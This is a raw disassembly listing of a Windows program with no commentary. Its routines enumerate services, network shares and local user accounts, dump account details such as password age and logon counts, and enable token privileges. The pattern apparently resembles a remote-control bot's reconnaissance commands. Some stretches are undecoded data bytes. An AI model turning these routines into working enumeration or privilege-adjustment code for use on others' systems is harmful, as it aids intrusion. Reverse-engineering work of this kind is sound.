loc_418C7F loc_418BC8: ; CODE XREF: sub_418B56+5Fj xor edi, edi cmp [ebp+var_4], ebx jle loc_418C76 lea esi, [ebp+var_188] loc_418BD9: ; CODE XREF: sub_418B56+11Aj mov eax, [esi+8] dec eax jz short loc_418C25 dec eax jz short loc_418C1E dec eax jz short loc_418C17 dec eax jz short loc_418C10 dec eax jz short loc_418C09 dec eax jz short loc_418C02 dec eax lea eax, [ebp+var_20] jz short loc_418BFB push offset aUnknown_0 ; " Unknown" jmp short loc_418C2D ; --------------------------------------------------------------------------- loc_418BFB: ; CODE XREF: sub_418B56+9Cj push offset aPaused_0 ; " Paused" jmp short loc_418C2D ; --------------------------------------------------------------------------- loc_418C02: ; CODE XREF: sub_418B56+96j push offset aPausing ; " Pausing" jmp short loc_418C2A ; --------------------------------------------------------------------------- loc_418C09: ; CODE XREF: sub_418B56+93j push offset aContinuing ; " Continuing" jmp short loc_418C2A ; --------------------------------------------------------------------------- loc_418C10: ; CODE XREF: sub_418B56+90j push offset aRunning ; " Running" jmp short loc_418C2A ; --------------------------------------------------------------------------- loc_418C17: ; CODE XREF: sub_418B56+8Dj push offset aStoping ; " Stoping" jmp short loc_418C2A ; --------------------------------------------------------------------------- loc_418C1E: ; CODE XREF: sub_418B56+8Aj push offset aStarting ; " Starting" jmp short loc_418C2A ; --------------------------------------------------------------------------- loc_418C25: ; CODE XREF: sub_418B56+87j push offset aStopped ; " Stopped" loc_418C2A: ; CODE XREF: sub_418B56+B1j ; sub_418B56+B8j ... lea eax, [ebp+var_20] loc_418C2D: ; CODE XREF: sub_418B56+A3j ; sub_418B56+AAj push eax call sub_41BA76 pop ecx lea eax, [ebp+var_20] pop ecx push dword ptr [esi] push dword ptr [esi-4] push eax lea eax, [ebp+var_38C] push offset aSSS ; "%s: %s (%s)" push eax call sub_41BA76 push 1 lea eax, [ebp+var_38C] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409966 add esp, 28h inc edi add esi, 24h cmp edi, [ebp+var_4] jl loc_418BD9 loc_418C76: ; CODE XREF: sub_418B56+77j cmp [ebp+var_8], ebx jnz loc_418B8E loc_418C7F: ; CODE XREF: sub_418B56+6Cj push [ebp+var_C] call ds:dword_4CDAF0 ; CloseServiceHandle xor eax, eax pop edi cmp eax, [ebp+var_4] pop esi pop ebx sbb eax, eax neg eax leave retn sub_418B56 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418C96 proc near ; CODE XREF: seg000:loc_4060CBp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_4] test edi, edi jz loc_418D2F mov esi, [ebp+arg_0] mov eax, esi sub eax, 0 jz short loc_418CBF dec eax jnz short loc_418D0F push edi push 0 call sub_418E68 pop ecx pop ecx jmp short loc_418D0B ; --------------------------------------------------------------------------- loc_418CBF: ; CODE XREF: sub_418C96+18j cmp [ebp+arg_8], 0 jnz short loc_418CFD push 24h push edi call sub_41C1A0 pop ecx test eax, eax pop ecx jnz short loc_418CFD push 57h pop eax loc_418CD6: ; CODE XREF: sub_418C96+77j push eax call sub_419636 push eax lea eax, [esi+esi*2] push edi mov esi, offset dword_4DD830 push ds:off_43B618[eax*4] push offset unk_43BCD4 push esi call sub_41BA76 add esp, 18h jmp short loc_418D4F ; --------------------------------------------------------------------------- loc_418CFD: ; CODE XREF: sub_418C96+2Dj ; sub_418C96+3Bj push [ebp+arg_8] push edi push 0 call sub_418DBC add esp, 0Ch loc_418D0B: ; CODE XREF: sub_418C96+27j test eax, eax jnz short loc_418CD6 loc_418D0F: ; CODE XREF: sub_418C96+1Bj lea eax, [esi+esi*2] push edi mov esi, offset dword_4DD830 push ds:off_43B61C[eax*4] push offset dword_43BCB8 push esi call sub_41BA76 add esp, 10h jmp short loc_418D4F ; --------------------------------------------------------------------------- loc_418D2F: ; CODE XREF: sub_418C96+Aj mov eax, [ebp+arg_0] mov esi, offset dword_4DD830 lea eax, [eax+eax*2] push ds:off_43B618[eax*4] push offset unk_43BC94 push esi call sub_41BA76 add esp, 0Ch loc_418D4F: ; CODE XREF: sub_418C96+65j ; sub_418C96+97j mov eax, esi pop edi pop esi pop ebp retn sub_418C96 endp ; =============== S U B R O U T I N E ======================================= sub_418D55 proc near ; CODE XREF: sub_41A044+247p arg_0 = dword ptr 4 arg_C = dword ptr 10h push esi xor esi, esi cmp [esp+4+arg_0], esi jnz short loc_418D62 xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_418D62: ; CODE XREF: sub_418D55+7j push ebx push ebp push edi push esi push esi push esi mov edi, ds:dword_428180 push esi push 0FFFFFFFFh mov ebx, 400h push [esp+24h+arg_0] push ebx push esi call edi ; WideCharToMultiByte test ds:byte_4DDA30, 1 mov ebp, eax jnz short loc_418D9F or ds:byte_4DDA30, 1 lea eax, [ebp+1] push eax call sub_41D1B5 pop ecx mov ds:dword_4DD7C8, eax loc_418D9F: ; CODE XREF: sub_418D55+32j push esi push esi push ebp push ds:dword_4DD7C8 push 0FFFFFFFFh push [esp+18h+arg_C] push ebx push esi call edi ; WideCharToMultiByte mov eax, ds:dword_4DD7C8 pop edi pop ebp pop ebx pop esi retn sub_418D55 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418DBC proc near ; CODE XREF: sub_418C96+6Dp ; sub_41A36A+18Ep ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push edi push [ebp+arg_0] call sub_418E27 push [ebp+arg_4] mov edi, eax call sub_418E27 push 24h mov [ebp+var_20], eax push [ebp+arg_4] call sub_41C1A0 push [ebp+arg_8] mov [ebp+var_14], 7Fh neg eax sbb eax, eax and [ebp+var_18], 0 or [ebp+var_10], 0FFFFFFFFh and [ebp+var_C], 0 and eax, 80000000h mov [ebp+var_1C], eax call sub_418E27 add esp, 14h mov [ebp+var_8], eax and [ebp+var_4], 0 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_20] push eax push 2 push edi call ds:dword_4CDAEC pop edi leave retn sub_418DBC endp ; =============== S U B R O U T I N E ======================================= sub_418E27 proc near ; CODE XREF: sub_418DBC+Ap ; sub_418DBC+14p ... arg_0 = dword ptr 4 push ebp mov ebp, [esp+4+arg_0] xor eax, eax cmp ebp, eax jnz short loc_418E34 pop ebp retn ; --------------------------------------------------------------------------- loc_418E34: ; CODE XREF: sub_418E27+9j push ebx push esi mov esi, ds:dword_428184 push edi push eax push eax push 0FFFFFFFFh push ebp push 1 push eax call esi ; MultiByteToWideChar mov edi, eax lea eax, [edi+edi+2] push eax call sub_41D1B5 pop ecx mov ebx, eax push edi push ebx push 0FFFFFFFFh push ebp push 1 push 0 call esi ; MultiByteToWideChar pop edi mov eax, ebx pop esi pop ebx pop ebp retn sub_418E27 endp ; =============== S U B R O U T I N E ======================================= sub_418E68 proc near ; CODE XREF: sub_418C96+20p ; sub_41A044+1BCp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_418E27 push [esp+8+arg_4] mov esi, eax call sub_418E27 pop ecx pop ecx push 0 push eax push esi call ds:dword_4CDAC4 pop esi retn sub_418E68 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418E8B proc near ; CODE XREF: seg000:004060F7p var_210 = byte ptr -210h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h push ebx push esi push edi push [ebp+arg_C] call sub_418E27 xor esi, esi mov [ebp+var_C], eax push esi mov [ebp+arg_C], esi push [ebp+arg_8] mov [ebp+var_8], esi mov [ebp+var_10], esi push offset aShareNameResou ; "Share name: Resource: "... push [ebp+arg_4] push [ebp+arg_0] call sub_409966 add esp, 18h loc_418EC4: ; CODE XREF: sub_418E8B+10Fj lea eax, [ebp+var_10] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_4] push 0FFFFFFFFh push eax push 1F6h push [ebp+var_C] call ds:dword_4CDB3C mov ebx, eax cmp ebx, esi jz short loc_418F27 cmp ebx, 0EAh jz short loc_418F27 push ebx push ebx call sub_419636 pop ecx push eax lea eax, [ebp+var_210] push offset unk_43BD20 push eax call sub_41BA76 push esi lea eax, [ebp+var_210] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409966 add esp, 24h jmp short loc_418F94 ; --------------------------------------------------------------------------- loc_418F27: ; CODE XREF: sub_418E8B+5Dj ; sub_418E8B+65j xor edi, edi inc edi cmp [ebp+arg_C], edi jb short loc_418F8B mov eax, [ebp+var_4] lea esi, [eax+14h] loc_418F35: ; CODE XREF: sub_418E8B+FCj push dword ptr [esi+10h] call ds:dword_4CDAE0 ; IsValidSecurityDescriptor test eax, eax mov eax, offset aYes ; "Yes" jnz short loc_418F4C mov eax, offset aNo ; "No" loc_418F4C: ; CODE XREF: sub_418E8B+BAj push eax lea eax, [ebp+var_210] push dword ptr [esi] push dword ptr [esi+4] push dword ptr [esi-14h] push offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s" push eax call sub_41BA76 push 1 lea eax, [ebp+var_210] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409966 add esp, 2Ch add esi, 28h inc edi cmp edi, [ebp+arg_C] jbe short loc_418F35 xor esi, esi loc_418F8B: ; CODE XREF: sub_418E8B+A2j push [ebp+var_4] call ds:dword_4CDC88 loc_418F94: ; CODE XREF: sub_418E8B+9Aj cmp ebx, 0EAh jz loc_418EC4 xor eax, eax cmp ebx, esi pop edi pop esi setz al pop ebx leave retn sub_418E8B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418FAC proc near ; CODE XREF: seg000:loc_406162p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_4] push esi push edi xor edi, edi cmp ebx, edi jz loc_419050 mov esi, [ebp+arg_0] mov eax, esi sub eax, edi jz short loc_418FEE dec eax jz short loc_418FE3 dec eax jnz short loc_419009 push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push ebx push edi call sub_4190F2 add esp, 14h jmp short loc_419005 ; --------------------------------------------------------------------------- loc_418FE3: ; CODE XREF: sub_418FAC+1Dj push ebx push edi call sub_4190D1 pop ecx pop ecx jmp short loc_419005 ; --------------------------------------------------------------------------- loc_418FEE: ; CODE XREF: sub_418FAC+1Aj cmp [ebp+arg_8], edi jz short loc_419002 push [ebp+arg_8] push ebx push edi call sub_419077 add esp, 0Ch jmp short loc_419005 ; --------------------------------------------------------------------------- loc_419002: ; CODE XREF: sub_418FAC+45j push 57h pop eax loc_419005: ; CODE XREF: sub_418FAC+35j ; sub_418FAC+40j ... cmp eax, edi jnz short loc_419029 loc_419009: ; CODE XREF: sub_418FAC+20j lea eax, [esi+esi*2] push ebx mov esi, offset dword_4DDA38 push ds:off_43B61C[eax*4] push offset unk_43BDD8 push esi call sub_41BA76 add esp, 10h jmp short loc_419070 ; --------------------------------------------------------------------------- loc_419029: ; CODE XREF: sub_418FAC+5Bj push eax call sub_419636 push eax lea eax, [esi+esi*2] push ebx mov esi, offset dword_4DDA38 push ds:off_43B618[eax*4] push offset unk_43BDA8 push esi call sub_41BA76 add esp, 18h jmp short loc_419070 ; --------------------------------------------------------------------------- loc_419050: ; CODE XREF: sub_418FAC+Dj mov eax, [ebp+arg_0] mov esi, offset dword_4DDA38 lea eax, [eax+eax*2] push ds:off_43B618[eax*4] push offset unk_43BD80 push esi call sub_41BA76 add esp, 0Ch loc_419070: ; CODE XREF: sub_418FAC+7Bj ; sub_418FAC+A2j mov eax, esi pop edi pop esi pop ebx pop ebp retn sub_418FAC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419077 proc near ; CODE XREF: sub_418FAC+4Cp var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 24h and [ebp+var_4], 0 push edi push [ebp+arg_0] call sub_418E27 push [ebp+arg_4] mov edi, eax call sub_418E27 push [ebp+arg_8] mov [ebp+var_24], eax call sub_418E27 add esp, 0Ch and [ebp+var_14], 0 and [ebp+var_10], 0 and [ebp+var_8], 0 lea ecx, [ebp+var_4] mov [ebp+var_20], eax xor eax, eax push ecx lea ecx, [ebp+var_24] inc eax push ecx push eax push edi mov [ebp+var_18], eax mov [ebp+var_C], 10001h call ds:dword_4CDAD0 pop edi leave retn sub_419077 endp ; =============== S U B R O U T I N E ======================================= sub_4190D1 proc near ; CODE XREF: sub_418FAC+39p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_418E27 push [esp+8+arg_4] mov esi, eax call sub_418E27 pop ecx pop ecx push eax push esi call ds:dword_4CDAC0 pop esi retn sub_4190D1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4190F2 proc near ; CODE XREF: sub_418FAC+2Dp var_204 = byte ptr -204h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 204h and [ebp+var_4], 0 push esi push [ebp+arg_0] call sub_418E27 push [ebp+arg_4] mov esi, eax call sub_418E27 pop ecx pop ecx lea ecx, [ebp+var_4] push ecx push 0Bh push eax push esi call ds:dword_4CDC50 test eax, eax mov [ebp+arg_0], eax jnz loc_41947F mov eax, [ebp+var_4] test eax, eax jz loc_4194BA push ebx push edi push dword ptr [eax] lea eax, [ebp+var_204] push offset aAccountS ; "Account: %S" push eax call sub_41BA76 mov esi, [ebp+arg_10] mov edi, [ebp+arg_C] mov ebx, [ebp+arg_8] push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409966 mov eax, [ebp+var_4] push dword ptr [eax+0Ch] lea eax, [ebp+var_204] push offset aFullNameS ; "Full Name: %S" push eax call sub_41BA76 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409966 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+8] lea eax, [ebp+var_204] push offset aUserCommentS ; "User Comment: %S" push eax call sub_41BA76 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409966 mov eax, [ebp+var_4] push dword ptr [eax+4] lea eax, [ebp+var_204] push offset aCommentS ; "Comment: %S" push eax call sub_41BA76 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409966 mov eax, [ebp+var_4] add esp, 40h mov eax, [eax+10h] sub eax, 0 jz short loc_41920B dec eax jz short loc_419204 dec eax jz short loc_4191FD mov eax, offset aUnknown ; "Unknown" jmp short loc_419210 ; --------------------------------------------------------------------------- loc_4191FD: ; CODE XREF: sub_4190F2+102j mov eax, offset aAdministrator ; "Administrator" jmp short loc_419210 ; --------------------------------------------------------------------------- loc_419204: ; CODE XREF: sub_4190F2+FFj mov eax, offset aUser_1 ; "User" jmp short loc_419210 ; --------------------------------------------------------------------------- loc_41920B: ; CODE XREF: sub_4190F2+FCj mov eax, offset aGuest ; "Guest" loc_419210: ; CODE XREF: sub_4190F2+109j ; sub_4190F2+110j ... push eax lea eax, [ebp+var_204] push offset aPrivilegeLevel ; "Privilege Level: %s" push eax call sub_41BA76 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409966 mov eax, [ebp+var_4] push dword ptr [eax+14h] lea eax, [ebp+var_204] push offset aAuthFlagsD ; "Auth Flags: %d" push eax call sub_41BA76 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409966 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+1Ch] lea eax, [ebp+var_204] push offset aHomeDirectoryS ; "Home Directory: %S" push eax call sub_41BA76 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409966 mov eax, [ebp+var_4] push dword ptr [eax+20h] lea eax, [ebp+var_204] push offset aParametersS ; "Parameters: %S" push eax call sub_41BA76 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409966 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+18h] lea eax, [ebp+var_204] push offset aPasswordAgeD ; "Password Age: %d" push eax call sub_41BA76 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409966 mov eax, [ebp+var_4] push dword ptr [eax+2Ch] lea eax, [ebp+var_204] push offset aBadPasswordCou ; "Bad Password Count: %d" push eax call sub_41BA76 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409966 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+30h] lea eax, [ebp+var_204] push offset aNumberOfLogins ; "Number of Logins: %d" push eax call sub_41BA76 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409966 mov eax, [ebp+var_4] push dword ptr [eax+24h] lea eax, [ebp+var_204] push offset aLastLogonD ; "Last Logon: %d" push eax call sub_41BA76 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409966 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+28h] lea eax, [ebp+var_204] push offset aLastLogoffD ; "Last Logoff: %d" push eax call sub_41BA76 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409966 mov eax, [ebp+var_4] push dword ptr [eax+34h] lea eax, [ebp+var_204] push offset aLogonServerS ; "Logon Server: %S" push eax call sub_41BA76 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409966 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+3Ch] lea eax, [ebp+var_204] push offset aWorkstationsS ; "Workstations: %S" push eax call sub_41BA76 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409966 mov eax, [ebp+var_4] push dword ptr [eax+38h] lea eax, [ebp+var_204] push offset aCountryCodeD ; "Country Code: %d" push eax call sub_41BA76 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409966 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+4Ch] lea eax, [ebp+var_204] push offset aUserSLanguageD ; "User's Language: %d" push eax call sub_41BA76 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409966 mov eax, [ebp+var_4] push dword ptr [eax+40h] lea eax, [ebp+var_204] push offset aMax_StorageD ; "Max. Storage: %d" push eax call sub_41BA76 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409966 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+44h] lea eax, [ebp+var_204] push offset aUnitsPerWeekD ; "Units Per Week: %d" push eax call sub_41BA76 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409966 add esp, 20h pop edi pop ebx jmp short loc_4194AB ; --------------------------------------------------------------------------- loc_41947F: ; CODE XREF: sub_4190F2+35j push eax lea eax, [ebp+var_204] push offset unk_43BDF8 push eax call sub_41BA76 push 0 lea eax, [ebp+var_204] push [ebp+arg_10] push eax push [ebp+arg_C] push [ebp+arg_8] call sub_409966 add esp, 20h loc_4194AB: ; CODE XREF: sub_4190F2+38Bj cmp [ebp+var_4], 0 jz short loc_4194BA push [ebp+var_4] call ds:dword_4CDC88 loc_4194BA: ; CODE XREF: sub_4190F2+40j ; sub_4190F2+3BDj mov eax, [ebp+arg_0] pop esi leave retn sub_4190F2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4194C0 proc near ; CODE XREF: seg000:0040618Ep var_218 = byte ptr -218h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 218h push ebx push esi push edi xor esi, esi push [ebp+arg_C] mov [ebp+var_4], esi call sub_418E27 push esi mov [ebp+var_14], eax push [ebp+arg_8] mov [ebp+arg_C], esi mov [ebp+var_18], esi mov [ebp+var_10], esi push offset aUsernameAccoun ; "Username accounts for local system:" mov [ebp+var_8], esi push [ebp+arg_4] push [ebp+arg_0] call sub_409966 add esp, 18h loc_4194FF: ; CODE XREF: sub_4194C0+12Bj lea eax, [ebp+var_10] push eax lea eax, [ebp+var_18] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_4] push 0FFFFFFFFh push eax push 2 push esi push [ebp+var_14] call ds:dword_4CDB58 cmp eax, esi mov [ebp+var_C], eax jz short loc_419560 cmp eax, 0EAh jz short loc_419560 push eax push eax call sub_419636 pop ecx push eax lea eax, [ebp+var_218] push offset unk_43BFE8 push eax call sub_41BA76 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409966 add esp, 24h jmp short loc_4195D1 ; --------------------------------------------------------------------------- loc_419560: ; CODE XREF: sub_4194C0+62j ; sub_4194C0+69j mov edi, [ebp+var_4] cmp edi, esi jz short loc_4195E4 xor ebx, ebx cmp [ebp+arg_C], esi jbe short loc_4195D1 loc_41956E: ; CODE XREF: sub_4194C0+E9j cmp edi, esi lea eax, [ebp+var_218] jz short loc_4195AD push dword ptr [edi] push offset aS_6 ; " %S" push eax call sub_41BA76 push 1 lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409966 add esp, 20h add edi, 4 inc [ebp+var_8] inc ebx cmp ebx, [ebp+arg_C] jb short loc_41956E jmp short loc_4195D1 ; --------------------------------------------------------------------------- loc_4195AD: ; CODE XREF: sub_4194C0+B6j push offset unk_43BFB4 push eax call sub_41BA76 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409966 add esp, 1Ch loc_4195D1: ; CODE XREF: sub_4194C0+9Ej ; sub_4194C0+ACj ... mov edi, [ebp+var_4] cmp edi, esi jz short loc_4195E4 push edi call ds:dword_4CDC88 xor edi, edi mov [ebp+var_4], edi loc_4195E4: ; CODE XREF: sub_4194C0+A5j ; sub_4194C0+116j cmp [ebp+var_C], 0EAh jz loc_4194FF cmp edi, esi jz short loc_4195FC push edi call ds:dword_4CDC88 loc_4195FC: ; CODE XREF: sub_4194C0+133j push [ebp+var_8] lea eax, [ebp+var_218] push offset aTotalUsersFoun ; "Total users found: %d." push eax call sub_41BA76 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409966 add esp, 20h xor eax, eax cmp [ebp+var_C], esi pop edi pop esi setz al pop ebx leave retn sub_4194C0 endp ; =============== S U B R O U T I N E ======================================= sub_419636 proc near ; CODE XREF: sub_418C96+41p ; sub_418E8B+69p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, 858h cmp eax, ecx ja loc_4196E8 jz loc_4196E1 cmp eax, 7Bh ja short loc_4196AD jz short loc_4196A3 cmp eax, 5 jz short loc_419699 cmp eax, 8 jz short loc_41968F cmp eax, 32h jz short loc_419685 cmp eax, 35h jz short loc_41967B cmp eax, 57h jnz loc_419737 push offset aInvalidParamet ; "Invalid parameter." jmp loc_419758 ; --------------------------------------------------------------------------- loc_41967B: ; CODE XREF: sub_419636+30j push offset aServerNameNotF ; "Server name not found." jmp loc_419758 ; --------------------------------------------------------------------------- loc_419685: ; CODE XREF: sub_419636+2Bj push offset aThisNetworkReq ; "This network request is not supported." jmp loc_419758 ; --------------------------------------------------------------------------- loc_41968F: ; CODE XREF: sub_419636+26j push offset aNotEnoughMemor ; "Not enough memory." jmp loc_419758 ; --------------------------------------------------------------------------- loc_419699: ; CODE XREF: sub_419636+21j push offset aAccessDenied_ ; "Access denied." jmp loc_419758 ; --------------------------------------------------------------------------- loc_4196A3: ; CODE XREF: sub_419636+1Cj push offset aTheNameIsInval ; "The name is invalid." jmp loc_419758 ; --------------------------------------------------------------------------- loc_4196AD: ; CODE XREF: sub_419636+1Aj sub eax, 7Ch jz short loc_4196DA sub eax, 7C8h jz short loc_4196D3 dec eax jz short loc_4196C9 dec eax jnz short loc_419737 push offset aDuplicateShare ; "Duplicate share name." jmp loc_419758 ; --------------------------------------------------------------------------- loc_4196C9: ; CODE XREF: sub_419636+84j push offset aInvalidForRedi ; "Invalid for redirected resource." jmp loc_419758 ; --------------------------------------------------------------------------- loc_4196D3: ; CODE XREF: sub_419636+81j push offset aDeviceOrDirect ; "Device or directory does not exist." jmp short loc_419758 ; --------------------------------------------------------------------------- loc_4196DA: ; CODE XREF: sub_419636+7Aj push offset aLevelParameter ; "Level parameter is invalid." jmp short loc_419758 ; --------------------------------------------------------------------------- loc_4196E1: ; CODE XREF: sub_419636+11j push offset aAGeneralFailur ; "A general failure occurred in the netwo"... jmp short loc_419758 ; --------------------------------------------------------------------------- loc_4196E8: ; CODE XREF: sub_419636+Bj mov ecx, 8C5h cmp eax, ecx ja short loc_419721 jz short loc_41971A sub eax, 8ADh jz short loc_41974C dec eax dec eax jz short loc_419713 dec eax jz short loc_41970C dec eax dec eax jnz short loc_419737 push offset aTheOperationIs ; "The operation is allowed only on the pr"... jmp short loc_419758 ; --------------------------------------------------------------------------- loc_41970C: ; CODE XREF: sub_419636+C9j push offset aTheUserAccount ; "The user account already exists." jmp short loc_419758 ; --------------------------------------------------------------------------- loc_419713: ; CODE XREF: sub_419636+C6j push offset aTheGroupAlread ; "The group already exists." jmp short loc_419758 ; --------------------------------------------------------------------------- loc_41971A: ; CODE XREF: sub_419636+BBj push offset aThePasswordIsS ; "The password is shorter than required ("... jmp short loc_419758 ; --------------------------------------------------------------------------- loc_419721: ; CODE XREF: sub_419636+B9j sub eax, 8CAh jz short loc_419753 sub eax, 17h jz short loc_41974C sub eax, 25h jz short loc_419745 sub eax, 29h jz short loc_41973E loc_419737: ; CODE XREF: sub_419636+35j ; sub_419636+87j ... push offset aAnUnknownErr_0 ; "An unknown error occurred." jmp short loc_419758 ; --------------------------------------------------------------------------- loc_41973E: ; CODE XREF: sub_419636+FFj push offset aTheComputerNam ; "The computer name is invalid." jmp short loc_419758 ; --------------------------------------------------------------------------- loc_419745: ; CODE XREF: sub_419636+FAj push offset aShareNotFound_ ; "Share not found." jmp short loc_419758 ; --------------------------------------------------------------------------- loc_41974C: ; CODE XREF: sub_419636+C2j ; sub_419636+F5j push offset aTheUserNameCou ; "The user name could not be found." jmp short loc_419758 ; --------------------------------------------------------------------------- loc_419753: ; CODE XREF: sub_419636+F0j push offset aNetworkConnect ; "Network connection not found." loc_419758: ; CODE XREF: sub_419636+40j ; sub_419636+4Aj ... push offset dword_4DD7D0 call sub_41BA76 pop ecx mov eax, offset dword_4DD7D0 pop ecx retn sub_419636 endp ; --------------------------------------------------------------------------- loc_41976A: ; CODE XREF: seg000:004061D4p push ebp mov ebp, esp sub esp, 718h push esi push 200h push dword ptr [ebp+8] lea eax, [ebp-718h] push eax call sub_41DA54 add esp, 0Ch lea eax, [ebp+8] mov esi, 108h push eax lea eax, [ebp-108h] push eax mov [ebp+8], esi call near ptr 0B10000h mov ecx, 0FEF8858Dh ; --------------------------------------------------------------------------- dd 5056FFFFh, 0FCE8858Dh, 0E850FFFFh, 429Ch, 0F8E8858Dh dd 0E850FFFFh, 4273h, 310C483h, 858D50C0h, 0FFFFF8E8h dd 0E8858D50h, 6AFFFFFCh, 6A5000h, 0DC0815FFh, 0C085004Ch dd 0C8BE1475h, 68004DD5h, 43C324h, 2280E856h, 59590000h dd 8D8D29EBh, 0FFFFF8E8h, 0E88D8D51h, 51FFFFFCh, 0FE28E850h dd 0BE59FFFFh, 4DD5C8h, 0C2F86850h, 0E8560043h, 2256h dd 8B14C483h, 0C3C95EC6h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419828 proc near ; CODE XREF: sub_416F7D+45p ; sub_416F7D+166p ... var_14 = dword ptr -14h var_10 = byte ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 14h lea eax, [ebp+var_4] push eax push 28h call near ptr 0B10000h adc dl, [eax-1] adc eax, offset dword_4CDBDC test eax, eax jnz short loc_419847 leave retn ; --------------------------------------------------------------------------- loc_419847: ; CODE XREF: sub_419828+1Bj lea eax, [ebp+var_10] push esi push eax xor esi, esi push [ebp+arg_0] push esi call ds:dword_4CDBB4 ; LookupPrivilegeValueA test eax, eax jz short loc_419885 cmp [ebp+arg_4], esi mov [ebp+var_14], 1 jz short loc_41986E or [ebp+var_8], 2 jmp short loc_419872 ; --------------------------------------------------------------------------- loc_41986E: ; CODE XREF: sub_419828+3Ej and [ebp+var_8], 0FFFFFFFDh loc_419872: ; CODE XREF: sub_419828+44j push esi push esi lea eax, [ebp+var_14] push esi push eax push esi push [ebp+var_4] call ds:dword_4CDC64 ; AdjustTokenPrivileges mov esi, eax loc_419885: ; CODE XREF: sub_419828+32j push [ebp+var_4] 